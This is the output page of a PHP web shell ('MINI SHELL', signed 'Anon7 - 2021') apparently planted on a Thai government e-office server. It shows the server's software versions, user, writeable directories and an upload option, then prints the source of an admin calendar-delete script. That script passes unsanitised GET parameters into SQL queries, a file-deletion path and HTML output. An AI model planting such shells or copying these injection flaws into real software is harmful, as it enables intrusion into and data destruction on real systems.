MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/mxblog/modules/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/mxblog/modules/admin/delevent.php
<?
CheckAdmin($_SESSION['admin_user'], $_SESSION['admin_pwd']);

if($_GET[op] == "calendar_del"){
	if(CheckLevel($_SESSION['admin_user'],$_GET[op])){
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$db->del(TB_CALENDAR," id='".$_GET[id]."' "); 
		$db->closedb ();
		@unlink("calendardata/".$_GET[refer].".txt");
		$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><A HREF=\"?name=admin&file=main\"><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการลบ รายการปฏิทิน เรียบร้อยแล้ว</B></FONT><BR><BR>";
		$ProcessOutput .= "</CENTER>";
		$ProcessOutput .= "<BR><BR>";
	}
}else{
	$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
	$res[event] = $db->select_query("SELECT * FROM ".TB_CALENDAR." WHERE id='".$_GET[id]."' ");
	$arr[event] = $db->fetch($res[event]);
	$db->closedb ();
	if (!$arr[event][id]){
		echo "<script language='javascript'>" ;
		echo "alert('ไม่มีรายการที่ต้องการลบ')" ;
		echo "</script>" ;
		echo "<script language='javascript'>javascript:history.back()</script>";
		exit();
	}
}
?>

	<TABLE cellSpacing=0 cellPadding=0 width=650 border=0>
      <TBODY>
        <TR>
          <TD width="10" vAlign=top><IMG src="images/fader.gif" border=0></TD>
          <TD width="650" vAlign=top><IMG src="images/topfader.gif" border=0><BR>
		  <!-- Admin -->
		  &nbsp;&nbsp;<IMG SRC="images/menu/textmenu_admin.gif" BORDER="0"><BR>
				<TABLE width="650" align=center cellSpacing=0 cellPadding=0 border=0>
				<TR>
					<TD height="1" class="dotline"></TD>
				</TR>
				<TR>
					<TD>
					<BR><B>&nbsp;&nbsp;<IMG SRC="images/icon/calendar.gif" BORDER="0" ALIGN="absmiddle">&nbsp;&nbsp; ลบรายการปฏิทิน</B>
					<BR><BR>
<?
if(!$ProcessOutput){
?>
<CENTER><IMG SRC="images/icon/dangerous.png" BORDER="0"><BR><BR><B>ท่านต้องการลบปฏิทินกิจกรรมนี้ ใช่หรือไม่ ?</B>
<FORM METHOD=POST ACTION="?name=admin&file=delevent&op=calendar_del&id=<?=$_GET[id];?>&refer=<?=$arr[event][date_event];?>">
<BR><BR>
<INPUT TYPE="submit" VALUE=" ต้องการลบปฏิทินกิจกรรม ">
</FORM>
</CENTER>
<?
}else{
	echo $ProcessOutput ;
}
?>
						<BR><BR>
					</TD>
				</TR>
			</TABLE>
			<BR><BR>
			<!-- Admin -->
		  </TD>
        </TR>
      </TBODY>
    </TABLE>

Anon7 - 2021